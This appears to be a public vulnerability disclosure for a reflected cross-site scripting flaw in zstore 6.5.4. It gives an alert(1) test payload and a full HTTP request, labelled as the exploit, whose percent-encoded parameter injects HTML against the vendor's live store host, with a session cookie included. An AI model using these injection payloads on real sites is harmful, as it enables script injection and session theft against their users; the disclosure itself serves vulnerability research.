Zstore 6.5.4 Cross Site Scripting

`## Title: zstore-6.5.4 - XSS-Reflected  
## Development: nu11secur1ty  
## Date: 01.18.2023  
## Vendor: https://zippy.com.ua/  
## Software: https://github.com/leon-mbs/zstore/releases/tag/6.5.4  
## Reproduce: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/zippy/zstore-6.5.4  
  
## Description:  
The value of manual insertion point 1 is copied into the HTML document  
as plain text between tags.  
The payload giflc<img src=a onerror=alert(1)>c0yu0 was submitted in  
the manual insertion point 1.  
This input was echoed unmodified in the application's response.  
  
  
## STATUS: HIGH Vulnerability  
  
[+] Exploit:  
```GET  
GET /index.php?p=App%2fPages%2fChatgiflc%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%6e%75%31%31%73%65%63%75%72%31%74%79%2e%63%6f%6d%2f%22%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%65%64%69%61%2e%74%65%6e%6f%72%2e%63%6f%6d%2f%2d%4b%39%73%48%78%58%41%62%2d%63%41%41%41%41%43%2f%73%68%61%6d%65%2d%6f%6e%2d%79%6f%75%2d%70%61%74%72%69%63%69%61%2e%67%69%66%22%3e%0a  
HTTP/2  
Host: store.zippy.com.ua  
Cookie: PHPSESSID=f816ed0ddb0c43828cb387f992ac8521; last_chat_id=439  
Cache-Control: max-age=0  
Sec-Ch-Ua: "Chromium";v="107", "Not=A?Brand";v="24"  
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: "Windows"  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107  
Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: https://store.zippy.com.ua/index.php?q=p:App/Pages/Main  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
```  
  
## Proof and Exploit:  
[href](https://streamable.com/tplz84)  
  
## Reference:  
[href](https://portswigger.net/web-security/cross-site-scripting/reflected)  
  
`